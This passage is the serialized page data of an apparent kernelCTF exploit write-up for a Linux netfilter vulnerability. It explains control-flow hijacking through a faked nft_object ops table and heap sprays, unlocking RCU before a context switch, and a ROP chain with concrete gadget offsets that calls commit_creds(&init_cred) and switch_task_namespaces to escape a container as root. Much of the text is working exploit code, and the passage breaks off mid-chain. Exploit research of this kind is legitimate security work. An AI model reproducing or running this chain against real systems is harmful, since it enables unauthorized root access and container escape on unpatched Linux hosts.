udata_spray",{"type":23,"tag":41,"props":55960,"children":55961},{"style":70},[55962],{"type":28,"value":55528},{"type":23,"tag":41,"props":55964,"children":55965},{"style":164},[55966],{"type":28,"value":55967},"0xe8",{"type":23,"tag":41,"props":55969,"children":55970},{"style":70},[55971],{"type":28,"value":970},{"type":23,"tag":41,"props":55973,"children":55974},{"style":164},[55975],{"type":28,"value":17282},{"type":23,"tag":41,"props":55977,"children":55978},{"style":70},[55979],{"type":28,"value":970},{"type":23,"tag":41,"props":55981,"children":55982},{"style":164},[55983],{"type":28,"value":317},{"type":23,"tag":41,"props":55985,"children":55986},{"style":70},[55987],{"type":28,"value":55988},", fake_obj);\n",{"type":23,"tag":41,"props":55990,"children":55991},{"class":43,"line":195},[55992],{"type":23,"tag":41,"props":55993,"children":55994},{"emptyLinePlaceholder":18},[55995],{"type":28,"value":82},{"type":23,"tag":41,"props":55997,"children":55998},{"class":43,"line":905},[55999,56004,56008,56013,56017,56021],{"type":23,"tag":41,"props":56000,"children":56001},{"style":114},[56002],{"type":28,"value":56003},"    get_obj",{"type":23,"tag":41,"props":56005,"children":56006},{"style":70},[56007],{"type":28,"value":55528},{"type":23,"tag":41,"props":56009,"children":56010},{"style":735},[56011],{"type":28,"value":56012},"\"spray-0\"",{"type":23,"tag":41,"props":56014,"children":56015},{"style":70},[56016],{"type":28,"value":970},{"type":23,"tag":41,"props":56018,"children":56019},{"style":64},[56020],{"type":28,"value":3996},{"type":23,"tag":41,"props":56022,"children":56023},{"style":70},[56024],{"type":28,"value":3825},{"type":23,"tag":41,"props":56026,"children":56027},{"class":43,"line":922},[56028,56033,56037,56042,56046,56050],{"type":23,"tag":41,"props":56029,"children":56030},{"style":114},[56031],{"type":28,"value":56032},"    printf",{"type":23,"tag":41,"props":56034,"children":56035},{"style":70},[56036],{"type":28,"value":1737},{"type":23,"tag":41,"props":56038,"children":56039},{"style":735},[56040],{"type":28,"value":56041},"\"[*] nft_object ptr: 0x%lx",{"type":23,"tag":41,"props":56043,"children":56044},{"style":48367},[56045],{"type":28,"value":48370},{"type":23,"tag":41,"props":56047,"children":56048},{"style":735},[56049],{"type":28,"value":20048},{"type":23,"tag":41,"props":56051,"children":56052},{"style":70},[56053],{"type":28,"value":56054},", obj_ptr);\n",{"type":23,"tag":41,"props":56056,"children":56057},{"class":43,"line":930},[56058],{"type":23,"tag":41,"props":56059,"children":56060},{"style":70},[56061],{"type":28,"value":10316},{"type":23,"tag":546,"props":56063,"children":56065},{"id":56064},"hijacking-control-flow",[56066],{"type":28,"value":56067},"Hijacking control-flow",{"type":23,"tag":24,"props":56069,"children":56070},{},[56071,56073,56078,56080,56085,56087,56092,56094,56099,56101,56106,56108],{"type":28,"value":56072},"To hijack control-flow, we can use ",{"type":23,"tag":37,"props":56074,"children":56076},{"className":56075},[],[56077],{"type":28,"value":55109},{"type":28,"value":56079}," once again. The ",{"type":23,"tag":37,"props":56081,"children":56083},{"className":56082},[],[56084],{"type":28,"value":55109},{"type":28,"value":56086}," struct has an ",{"type":23,"tag":37,"props":56088,"children":56090},{"className":56089},[],[56091],{"type":28,"value":52665},{"type":28,"value":56093}," pointer to a function pointer table. We can swap the ",{"type":23,"tag":37,"props":56095,"children":56097},{"className":56096},[],[56098],{"type":28,"value":52665},{"type":28,"value":56100}," pointer with the ",{"type":23,"tag":37,"props":56102,"children":56104},{"className":56103},[],[56105],{"type":28,"value":55094},{"type":28,"value":56107}," pointer, taking control of the pointer table.\n",{"type":23,"tag":3918,"props":56109,"children":56111},{"alt":50573,"src":56110},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":23,"tag":31,"props":56113,"children":56115},{"className":356,"code":56114,"language":355,"meta":7,"style":7},"[...]\n    // Fake ops\n    uint64_t *rop = calloc(29, sizeof(uint64_t));\n    rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n    rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n    // Send ROP in object udata\n    del_obj(nl, \"spray-0\");\n    wait_destroyer();\n    obj_spray(nl, 1, 1, rop, 0xb8);\n    fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n    DumpHex(fake_obj, 0xe8);\n    uint64_t rop_addr = fake_obj[9]; // udata ptr\n    printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n    // Point to fake ops\n    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n    // Write ROP\n    puts(\"[*] Write ROP\");\n    deludata_spray(nl, 3, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n    // Takeover RIP\n    puts(\"[*] Takeover RIP\");\n    dump_obj(nl, \"spray-1\");\n[...]\n",[56116],{"type":23,"tag":37,"props":56117,"children":56118},{"__ignoreMap":7},[56119,56126,56134,56158,56205,56241,56248,56256,56288,56296,56304,56325,56333,56341,56405,56412,56420,56428,56435,56443,56477,56485,56492,56500,56507,56515,56548,56569],{"type":23,"tag":41,"props":56120,"children":56121},{"class":43,"line":44},[56122],{"type":23,"tag":41,"props":56123,"children":56124},{"style":70},[56125],{"type":28,"value":10316},{"type":23,"tag":41,"props":56127,"children":56128},{"class":43,"line":54},[56129],{"type":23,"tag":41,"props":56130,"children":56131},{"style":70},[56132],{"type":28,"value":56133},"    // Fake ops\n",{"type":23,"tag":41,"props":56135,"children":56136},{"class":43,"line":76},[56137,56142,56146,56150,56154],{"type":23,"tag":41,"props":56138,"children":56139},{"style":70},[56140],{"type":28,"value":56141},"    uint64_t *rop = calloc(29, ",{"type":23,"tag":41,"props":56143,"children":56144},{"style":94},[56145],{"type":28,"value":55323},{"type":23,"tag":41,"props":56147,"children":56148},{"style":70},[56149],{"type":28,"value":1737},{"type":23,"tag":41,"props":56151,"children":56152},{"style":64},[56153],{"type":28,"value":55630},{"type":23,"tag":41,"props":56155,"children":56156},{"style":70},[56157],{"type":28,"value":7222},{"type":23,"tag":41,"props":56159,"children":56160},{"class":43,"line":85},[56161,56166,56170,56174,56178,56182,56187,56191,56196,56200],{"type":23,"tag":41,"props":56162,"children":56163},{"style":858},[56164],{"type":28,"value":56165},"    rop",{"type":23,"tag":41,"props":56167,"children":56168},{"style":70},[56169],{"type":28,"value":312},{"type":23,"tag":41,"props":56171,"children":56172},{"style":164},[56173],{"type":28,"value":4024},{"type":23,"tag":41,"props":56175,"children":56176},{"style":70},[56177],{"type":28,"value":8659},{"type":23,"tag":41,"props":56179,"children":56180},{"style":170},[56181],{"type":28,"value":2381},{"type":23,"tag":41,"props":56183,"children":56184},{"style":70},[56185],{"type":28,"value":56186}," kaslr_slide ",{"type":23,"tag":41,"props":56188,"children":56189},{"style":170},[56190],{"type":28,"value":4383},{"type":23,"tag":41,"props":56192,"children":56193},{"style":164},[56194],{"type":28,"value":56195}," 0xffffffff81988647",{"type":23,"tag":41,"props":56197,"children":56198},{"style":70},[56199],{"type":28,"value":49068},{"type":23,"tag":41,"props":56201,"children":56202},{"style":48},[56203],{"type":28,"value":56204}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":23,"tag":41,"props":56206,"children":56207},{"class":43,"line":105},[56208,56212,56216,56220,56224,56228,56232,56236],{"type":23,"tag":41,"props":56209,"children":56210},{"style":858},[56211],{"type":28,"value":56165},{"type":23,"tag":41,"props":56213,"children":56214},{"style":70},[56215],{"type":28,"value":312},{"type":23,"tag":41,"props":56217,"children":56218},{"style":164},[56219],{"type":28,"value":3123},{"type":23,"tag":41,"props":56221,"children":56222},{"style":70},[56223],{"type":28,"value":8659},{"type":23,"tag":41,"props":56225,"children":56226},{"style":170},[56227],{"type":28,"value":2381},{"type":23,"tag":41,"props":56229,"children":56230},{"style":70},[56231],{"type":28,"value":56186},{"type":23,"tag":41,"props":56233,"children":56234},{"style":170},[56235],{"type":28,"value":4383},{"type":23,"tag":41,"props":56237,"children":56238},{"style":70},[56239],{"type":28,"value":56240}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":23,"tag":41,"props":56242,"children":56243},{"class":43,"line":155},[56244],{"type":23,"tag":41,"props":56245,"children":56246},{"style":70},[56247],{"type":28,"value":10316},{"type":23,"tag":41,"props":56249,"children":56250},{"class":43,"line":186},[56251],{"type":23,"tag":41,"props":56252,"children":56253},{"style":70},[56254],{"type":28,"value":56255},"    // Send ROP in object udata\n",{"type":23,"tag":41,"props":56257,"children":56258},{"class":43,"line":195},[56259,56264,56268,56273,56278,56283],{"type":23,"tag":41,"props":56260,"children":56261},{"style":70},[56262],{"type":28,"value":56263},"    del_obj(",{"type":23,"tag":41,"props":56265,"children":56266},{"style":94},[56267],{"type":28,"value":54285},{"type":23,"tag":41,"props":56269,"children":56270},{"style":70},[56271],{"type":28,"value":56272},", \"",{"type":23,"tag":41,"props":56274,"children":56275},{"style":94},[56276],{"type":28,"value":56277},"spray",{"type":23,"tag":41,"props":56279,"children":56280},{"style":70},[56281],{"type":28,"value":56282},"-0",{"type":23,"tag":41,"props":56284,"children":56285},{"style":735},[56286],{"type":28,"value":56287},"\");\n",{"type":23,"tag":41,"props":56289,"children":56290},{"class":43,"line":905},[56291],{"type":23,"tag":41,"props":56292,"children":56293},{"style":735},[56294],{"type":28,"value":56295},"    wait_destroyer();\n",{"type":23,"tag":41,"props":56297,"children":56298},{"class":43,"line":922},[56299],{"type":23,"tag":41,"props":56300,"children":56301},{"style":735},[56302],{"type":28,"value":56303},"    obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":23,"tag":41,"props":56305,"children":56306},{"class":43,"line":930},[56307,56312,56316,56321],{"type":23,"tag":41,"props":56308,"children":56309},{"style":735},[56310],{"type":28,"value":56311},"    fake_obj = (uint64_t *)getudata(nl, \"",{"type":23,"tag":41,"props":56313,"children":56314},{"style":64},[56315],{"type":28,"value":56277},{"type":23,"tag":41,"props":56317,"children":56318},{"style":70},[56319],{"type":28,"value":56320},"-3",{"type":23,"tag":41,"props":56322,"children":56323},{"style":735},[56324],{"type":28,"value":56287},{"type":23,"tag":41,"props":56326,"children":56327},{"class":43,"line":939},[56328],{"type":23,"tag":41,"props":56329,"children":56330},{"style":735},[56331],{"type":28,"value":56332},"    DumpHex(fake_obj, 0xe8);\n",{"type":23,"tag":41,"props":56334,"children":56335},{"class":43,"line":947},[56336],{"type":23,"tag":41,"props":56337,"children":56338},{"style":735},[56339],{"type":28,"value":56340},"    uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":23,"tag":41,"props":56342,"children":56343},{"class":43,"line":985},[56344,56349,56353,56357,56361,56366,56371,56376,56380,56385,56390,56395,56400],{"type":23,"tag":41,"props":56345,"children":56346},{"style":735},[56347],{"type":28,"value":56348},"    printf(\"",{"type":23,"tag":41,"props":56350,"children":56351},{"style":70},[56352],{"type":28,"value":312},{"type":23,"tag":41,"props":56354,"children":56355},{"style":170},[56356],{"type":28,"value":377},{"type":23,"tag":41,"props":56358,"children":56359},{"style":70},[56360],{"type":28,"value":8659},{"type":23,"tag":41,"props":56362,"children":56363},{"style":94},[56364],{"type":28,"value":56365},"ROP",{"type":23,"tag":41,"props":56367,"children":56368},{"style":94},[56369],{"type":28,"value":56370}," addr",{"type":23,"tag":41,"props":56372,"children":56373},{"style":70},[56374],{"type":28,"value":56375},": 0",{"type":23,"tag":41,"props":56377,"children":56378},{"style":94},[56379],{"type":28,"value":19263},{"type":23,"tag":41,"props":56381,"children":56382},{"style":70},[56383],{"type":28,"value":56384},"%",{"type":23,"tag":41,"props":56386,"children":56387},{"style":94},[56388],{"type":28,"value":56389},"lx",{"type":23,"tag":41,"props":56391,"children":56392},{"style":70},[56393],{"type":28,"value":56394},"\\",{"type":23,"tag":41,"props":56396,"children":56397},{"style":94},[56398],{"type":28,"value":56399},"n",{"type":23,"tag":41,"props":56401,"children":56402},{"style":735},[56403],{"type":28,"value":56404},"\", rop_addr);\n",{"type":23,"tag":41,"props":56406,"children":56407},{"class":43,"line":1058},[56408],{"type":23,"tag":41,"props":56409,"children":56410},{"emptyLinePlaceholder":18},[56411],{"type":28,"value":82},{"type":23,"tag":41,"props":56413,"children":56414},{"class":43,"line":1084},[56415],{"type":23,"tag":41,"props":56416,"children":56417},{"style":735},[56418],{"type":28,"value":56419},"    // Point to fake ops\n",{"type":23,"tag":41,"props":56421,"children":56422},{"class":43,"line":1102},[56423],{"type":23,"tag":41,"props":56424,"children":56425},{"style":735},[56426],{"type":28,"value":56427},"    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":23,"tag":41,"props":56429,"children":56430},{"class":43,"line":1110},[56431],{"type":23,"tag":41,"props":56432,"children":56433},{"style":735},[56434],{"type":28,"value":10316},{"type":23,"tag":41,"props":56436,"children":56437},{"class":43,"line":1118},[56438],{"type":23,"tag":41,"props":56439,"children":56440},{"style":735},[56441],{"type":28,"value":56442},"    // Write ROP\n",{"type":23,"tag":41,"props":56444,"children":56445},{"class":43,"line":1137},[56446,56451,56455,56459,56463,56468,56473],{"type":23,"tag":41,"props":56447,"children":56448},{"style":735},[56449],{"type":28,"value":56450},"    puts(\"",{"type":23,"tag":41,"props":56452,"children":56453},{"style":70},[56454],{"type":28,"value":312},{"type":23,"tag":41,"props":56456,"children":56457},{"style":170},[56458],{"type":28,"value":377},{"type":23,"tag":41,"props":56460,"children":56461},{"style":70},[56462],{"type":28,"value":8659},{"type":23,"tag":41,"props":56464,"children":56465},{"style":94},[56466],{"type":28,"value":56467},"Write",{"type":23,"tag":41,"props":56469,"children":56470},{"style":94},[56471],{"type":28,"value":56472}," ROP",{"type":23,"tag":41,"props":56474,"children":56475},{"style":735},[56476],{"type":28,"value":56287},{"type":23,"tag":41,"props":56478,"children":56479},{"class":43,"line":1163},[56480],{"type":23,"tag":41,"props":56481,"children":56482},{"style":735},[56483],{"type":28,"value":56484},"    deludata_spray(nl, 3, 1);\n",{"type":23,"tag":41,"props":56486,"children":56487},{"class":43,"line":1188},[56488],{"type":23,"tag":41,"props":56489,"children":56490},{"style":735},[56491],{"type":28,"value":56295},{"type":23,"tag":41,"props":56493,"children":56494},{"class":43,"line":1979},[56495],{"type":23,"tag":41,"props":56496,"children":56497},{"style":735},[56498],{"type":28,"value":56499},"    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":23,"tag":41,"props":56501,"children":56502},{"class":43,"line":2002},[56503],{"type":23,"tag":41,"props":56504,"children":56505},{"emptyLinePlaceholder":18},[56506],{"type":28,"value":82},{"type":23,"tag":41,"props":56508,"children":56509},{"class":43,"line":3835},[56510],{"type":23,"tag":41,"props":56511,"children":56512},{"style":735},[56513],{"type":28,"value":56514},"    // Takeover RIP\n",{"type":23,"tag":41,"props":56516,"children":56517},{"class":43,"line":3895},[56518,56522,56526,56530,56534,56539,56544],{"type":23,"tag":41,"props":56519,"children":56520},{"style":735},[56521],{"type":28,"value":56450},{"type":23,"tag":41,"props":56523,"children":56524},{"style":70},[56525],{"type":28,"value":312},{"type":23,"tag":41,"props":56527,"children":56528},{"style":170},[56529],{"type":28,"value":377},{"type":23,"tag":41,"props":56531,"children":56532},{"style":70},[56533],{"type":28,"value":8659},{"type":23,"tag":41,"props":56535,"children":56536},{"style":94},[56537],{"type":28,"value":56538},"Takeover",{"type":23,"tag":41,"props":56540,"children":56541},{"style":94},[56542],{"type":28,"value":56543}," RIP",{"type":23,"tag":41,"props":56545,"children":56546},{"style":735},[56547],{"type":28,"value":56287},{"type":23,"tag":41,"props":56549,"children":56550},{"class":43,"line":9044},[56551,56556,56560,56565],{"type":23,"tag":41,"props":56552,"children":56553},{"style":735},[56554],{"type":28,"value":56555},"    dump_obj(nl, \"",{"type":23,"tag":41,"props":56557,"children":56558},{"style":64},[56559],{"type":28,"value":56277},{"type":23,"tag":41,"props":56561,"children":56562},{"style":70},[56563],{"type":28,"value":56564},"-1",{"type":23,"tag":41,"props":56566,"children":56567},{"style":735},[56568],{"type":28,"value":56287},{"type":23,"tag":41,"props":56570,"children":56571},{"class":43,"line":9061},[56572],{"type":23,"tag":41,"props":56573,"children":56574},{"style":735},[56575],{"type":28,"value":10316},{"type":23,"tag":546,"props":56577,"children":56579},{"id":56578},"bypass-context-switch-in-rcu-critical-section",[56580],{"type":28,"value":56581},"Bypass context switch in RCU critical-section",{"type":23,"tag":24,"props":56583,"children":56584},{},[56585,56586,56591],{"type":28,"value":16601},{"type":23,"tag":37,"props":56587,"children":56589},{"className":56588},[],[56590],{"type":28,"value":55109},{"type":28,"value":56592}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":23,"tag":24,"props":56594,"children":56595},{},[56596,56598,56605,56607,56613,56615,56621],{"type":28,"value":56597},"A workaround has been discussed before by D3v17 in a ",{"type":23,"tag":458,"props":56599,"children":56602},{"href":56600,"rel":56601},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[462],[56603],{"type":28,"value":56604},"previous kernelCTF submission",{"type":28,"value":56606}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":23,"tag":37,"props":56608,"children":56610},{"className":56609},[],[56611],{"type":28,"value":56612},"task_struct",{"type":28,"value":56614}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":23,"tag":37,"props":56616,"children":56618},{"className":56617},[],[56619],{"type":28,"value":56620},"__rcu_read_unlock()",{"type":28,"value":56622}," function and exit the RCU critical-section before switching contexts.",{"type":23,"tag":31,"props":56624,"children":56626},{"className":356,"code":56625,"language":355,"meta":7,"style":7},"    // ROP stage 1\n    int pos = 3;\n\n    rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[56627],{"type":23,"tag":37,"props":56628,"children":56629},{"__ignoreMap":7},[56630,56638,56662,56669],{"type":23,"tag":41,"props":56631,"children":56632},{"class":43,"line":44},[56633],{"type":23,"tag":41,"props":56634,"children":56635},{"style":48},[56636],{"type":28,"value":56637},"    // ROP stage 1\n",{"type":23,"tag":41,"props":56639,"children":56640},{"class":43,"line":54},[56641,56645,56650,56654,56658],{"type":23,"tag":41,"props":56642,"children":56643},{"style":64},[56644],{"type":28,"value":19064},{"type":23,"tag":41,"props":56646,"children":56647},{"style":70},[56648],{"type":28,"value":56649}," pos ",{"type":23,"tag":41,"props":56651,"children":56652},{"style":170},[56653],{"type":28,"value":2381},{"type":23,"tag":41,"props":56655,"children":56656},{"style":164},[56657],{"type":28,"value":19086},{"type":23,"tag":41,"props":56659,"children":56660},{"style":70},[56661],{"type":28,"value":183},{"type":23,"tag":41,"props":56663,"children":56664},{"class":43,"line":76},[56665],{"type":23,"tag":41,"props":56666,"children":56667},{"emptyLinePlaceholder":18},[56668],{"type":28,"value":82},{"type":23,"tag":41,"props":56670,"children":56671},{"class":43,"line":85},[56672,56676,56681,56685,56689,56693,56697,56701],{"type":23,"tag":41,"props":56673,"children":56674},{"style":858},[56675],{"type":28,"value":56165},{"type":23,"tag":41,"props":56677,"children":56678},{"style":70},[56679],{"type":28,"value":56680},"[pos",{"type":23,"tag":41,"props":56682,"children":56683},{"style":170},[56684],{"type":28,"value":51264},{"type":23,"tag":41,"props":56686,"children":56687},{"style":70},[56688],{"type":28,"value":8659},{"type":23,"tag":41,"props":56690,"children":56691},{"style":170},[56692],{"type":28,"value":2381},{"type":23,"tag":41,"props":56694,"children":56695},{"style":70},[56696],{"type":28,"value":56186},{"type":23,"tag":41,"props":56698,"children":56699},{"style":170},[56700],{"type":28,"value":4383},{"type":23,"tag":41,"props":56702,"children":56703},{"style":70},[56704],{"type":28,"value":56705}," __RCU_READ_UNLOCK;\n",{"type":23,"tag":546,"props":56707,"children":56709},{"id":56708},"rop",[56710],{"type":28,"value":56365},{"type":23,"tag":24,"props":56712,"children":56713},{},[56714],{"type":28,"value":56715},"Most of the ROP chain to escape the container as root is business as usual:",{"type":23,"tag":417,"props":56717,"children":56718},{},[56719,56730,56741],{"type":23,"tag":421,"props":56720,"children":56721},{},[56722,56728],{"type":23,"tag":37,"props":56723,"children":56725},{"className":56724},[],[56726],{"type":28,"value":56727},"commit_creds(&init_cred);",{"type":28,"value":56729}," Commit root credentials to our process",{"type":23,"tag":421,"props":56731,"children":56732},{},[56733,56739],{"type":23,"tag":37,"props":56734,"children":56736},{"className":56735},[],[56737],{"type":28,"value":56738},"task = find_task_by_vpid(1);",{"type":28,"value":56740}," Find the root process of our namespace",{"type":23,"tag":421,"props":56742,"children":56743},{},[56744,56750],{"type":23,"tag":37,"props":56745,"children":56747},{"className":56746},[],[56748],{"type":28,"value":56749},"switch_task_namespaces(task, &init_nsproxy);",{"type":28,"value":56751}," Move it to the root namespace",{"type":23,"tag":24,"props":56753,"children":56754},{},[56755,56757,56763,56765,56771,56773,56779,56781,56787,56789,56794,56796,56802],{"type":28,"value":56756},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":23,"tag":37,"props":56758,"children":56760},{"className":56759},[],[56761],{"type":28,"value":56762},"find_task_by_vpid(1)",{"type":28,"value":56764}," passed through ",{"type":23,"tag":37,"props":56766,"children":56768},{"className":56767},[],[56769],{"type":28,"value":56770},"rax",{"type":28,"value":56772}," to ",{"type":23,"tag":37,"props":56774,"children":56776},{"className":56775},[],[56777],{"type":28,"value":56778},"rdi",{"type":28,"value":56780},". What I ended up going with was a ",{"type":23,"tag":37,"props":56782,"children":56784},{"className":56783},[],[56785],{"type":28,"value":56786},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":28,"value":56788}," gadget, that allowed me to push the ",{"type":23,"tag":37,"props":56790,"children":56792},{"className":56791},[],[56793],{"type":28,"value":56770},{"type":28,"value":56795}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":23,"tag":37,"props":56797,"children":56799},{"className":56798},[],[56800],{"type":28,"value":56801},"pop rdi; ret",{"type":28,"value":56803}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":23,"tag":417,"props":56805,"children":56806},{},[56807,56812,56825],{"type":23,"tag":421,"props":56808,"children":56809},{},[56810],{"type":28,"value":56811},"We push the value onto the stack (stack pointer regresses)",{"type":23,"tag":421,"props":56813,"children":56814},{},[56815,56817,56823],{"type":28,"value":56816},"We jump to our \"trampoline\" gadget (",{"type":23,"tag":37,"props":56818,"children":56820},{"className":56819},[],[56821],{"type":28,"value":56822},"pop rdi; ret;",{"type":28,"value":56824}," location)",{"type":23,"tag":421,"props":56826,"children":56827},{},[56828,56833],{"type":23,"tag":37,"props":56829,"children":56831},{"className":56830},[],[56832],{"type":28,"value":56801},{"type":28,"value":56834}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":23,"tag":31,"props":56836,"children":56838},{"className":356,"code":56837,"language":355,"meta":7,"style":7},"[...]\n    // commit_creds(&init_cred);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = kaslr_slide + INIT_CRED;\n    rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n    // task = find_task_by_vpid(1);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = 1;\n    rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = obj_ptr + 0xe0 - 0x66;            // rax -> rdi and resume rop\n    rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n    // switch_task_namespaces(task, &init_nsproxy);\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = kaslr_slide + INIT_NSPROXY;\n    rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[56839],{"type":23,"tag":37,"props":56840,"children":56841},{"__ignoreMap":7},[56842,56849,56866,56911,56947,56983,56990,56998,57041,57072,57108,57153,57208,57253,57260,57268,57311,57347,57383],{"type":23,"tag":41,"props":56843,"children":56844},{"class":43,"line":44},[56845],{"type":23,"tag":41,"props":56846,"children":56847},{"style":70},[56848],{"type":28,"value":10316},{"type":23,"tag":41,"props":56850,"children":56851},{"class":43,"line":54},[56852,56857,56862],{"type":23,"tag":41,"props":56853,"children":56854},{"style":70},[56855],{"type":28,"value":56856},"    // commit_creds(&",{"type":23,"tag":41,"props":56858,"children":56859},{"style":858},[56860],{"type":28,"value":56861},"init_cred",{"type":23,"tag":41,"props":56863,"children":56864},{"style":70},[56865],{"type":28,"value":3825},{"type":23,"tag":41,"props":56867,"children":56868},{"class":43,"line":76},[56869,56873,56877,56881,56885,56889,56893,56897,56902,56906],{"type":23,"tag":41,"props":56870,"children":56871},{"style":858},[56872],{"type":28,"value":56165},{"type":23,"tag":41,"props":56874,"children":56875},{"style":70},[56876],{"type":28,"value":56680},{"type":23,"tag":41,"props":56878,"children":56879},{"style":170},[56880],{"type":28,"value":51264},{"type":23,"tag":41,"props":56882,"children":56883},{"style":70},[56884],{"type":28,"value":8659},{"type":23,"tag":41,"props":56886,"children":56887},{"style":170},[56888],{"type":28,"value":2381},{"type":23,"tag":41,"props":56890,"children":56891},{"style":70},[56892],{"type":28,"value":56186},{"type":23,"tag":41,"props":56894,"children":56895},{"style":170},[56896],{"type":28,"value":4383},{"type":23,"tag":41,"props":56898,"children":56899},{"style":164},[56900],{"type":28,"value":56901}," 0xffffffff8112c7c0",{"type":23,"tag":41,"props":56903,"children":56904},{"style":70},[56905],{"type":28,"value":49068},{"type":23,"tag":41,"props":56907,"children":56908},{"style":48},[56909],{"type":28,"value":56910}," // pop rdi; ret;\n",{"type":23,"tag":41,"props":56912,"children":56913},{"class":43,"line":85},[56914,56918,56922,56926,56930,56934,56938,56942],{"type":23,"tag":41,"props":56915,"children":56916},{"style":858},[56917],{"type":28,"value":56165},{"type":23,"tag":41,"props":56919,"children":56920},{"style":70},[56921],{"type":28,"value":56680},{"type":23,"tag":41,"props":56923,"children":56924},{"style":170},[56925],{"type":28,"value":51264},{"type":23,"tag":41,"props":56927,"children":56928},{"style":70},[56929],{"type":28,"value":8659},{"type":23,"tag":41,"props":56931,"children":56932},{"style":170},[56933],{"type":28,"value":2381},{"type":23,"tag":41,"props":56935,"children":56936},{"style":70},[56937],{"type":28,"value":56186},{"type":23,"tag":41,"props":56939,"children":56940},{"style":170},[56941],{"type":28,"value":4383},{"type":23,"tag":41,"props":56943,"children":56944},{"style":70},[56945],{"type":28,"value":56946}," INIT_CRED;\n",{"type":23,"tag":41,"props":56948,"children":56949},{"class":43,"line":105},[56950,56954,56958,56962,56966,56970,56974,56978],{"type":23,"tag":41,"props":56951,"children":56952},{"style":858},[56953],{"type":28,"value":56165},{"type":23,"tag":41,"props":56955,"children":56956},{"style":70},[56957],{"type":28,"value":56680},{"type":23,"tag":41,"props":56959,"children":56960},{"style":170},[56961],{"type":28,"value":51264},{"type":23,"tag":41,"props":56963,"children":56964},{"style":70},[56965],{"type":28,"value":8659},{"type":23,"tag":41,"props":56967,"children":56968},{"style":170},[56969],{"type":28,"value":2381},{"type":23,"tag":41,"props":56971,"children":56972},{"style":70},[56973],{"type":28,"value":56186},{"type":23,"tag":41,"props":56975,"children":56976},{"style":170},[56977],{"type":28,"value":4383},{"type":23,"tag":41,"props":56979,"children":56980},{"style":70},[56981],{"type":28,"value":56982}," COMMIT_CREDS;\n",{"type":23,"tag":41,"props":56984,"children":56985},{"class":43,"line":155},[56986],{"type":23,"tag":41,"props":56987,"children":56988},{"emptyLinePlaceholder":18},[56989],{"type":28,"value":82},{"type":23,"tag":41,"props":56991,"children":56992},{"class":43,"line":186},[56993],{"type":23,"tag":41,"props":56994,"children":56995},{"style":48},[56996],{"type":28,"value":56997},"    // task = find_task_by_vpid(1);\n",{"type":23,"tag":41,"props":56999,"children":57000},{"class":43,"line":195},[57001,57005,57009,57013,57017,57021,57025,57029,57033,57037],{"type":23,"tag":41,"props":57002,"children":57003},{"style":858},[57004],{"type":28,"value":56165},{"type":23,"tag":41,"props":57006,"children":57007},{"style":70},[57008],{"type":28,"value":56680},{"type":23,"tag":41,"props":57010,"children":57011},{"style":170},[57012],{"type":28,"value":51264},{"type":23,"tag":41,"props":57014,"children":57015},{"style":70},[57016],{"type":28,"value":8659},{"type":23,"tag":41,"props":57018,"children":57019},{"style":170},[57020],{"type":28,"value":2381},{"type":23,"tag":41,"props":57022,"children":57023},{"style":70},[57024],{"type":28,"value":56186},{"type":23,"tag":41,"props":57026,"children":57027},{"style":170},[57028],{"type":28,"value":4383},{"type":23,"tag":41,"props":57030,"children":57031},{"style":164},[57032],{"type":28,"value":56901},{"type":23,"tag":41,"props":57034,"children":57035},{"style":70},[57036],{"type":28,"value":49068},{"type":23,"tag":41,"props":57038,"children":57039},{"style":48},[57040],{"type":28,"value":56910},{"type":23,"tag":41,"props":57042,"children":57043},{"class":43,"line":905},[57044,57048,57052,57056,57060,57064,57068],{"type":23,"tag":41,"props":57045,"children":57046},{"style":858},[57047],{"type":28,"value":56165},{"type":23,"tag":41,"props":57049,"children":57050},{"style":70},[57051],{"type":28,"value":56680},{"type":23,"tag":41,"props":57053,"children":57054},{"style":170},[57055],{"type":28,"value":51264},{"type":23,"tag":41,"props":57057,"children":57058},{"style":70},[57059],{"type":28,"value":8659},{"type":23,"tag":41,"props":57061,"children":57062},{"style":170},[57063],{"type":28,"value":2381},{"type":23,"tag":41,"props":57065,"children":57066},{"style":164},[57067],{"type":28,"value":167},{"type":23,"tag":41,"props":57069,"children":57070},{"style":70},[57071],{"type":28,"value":183},{"type":23,"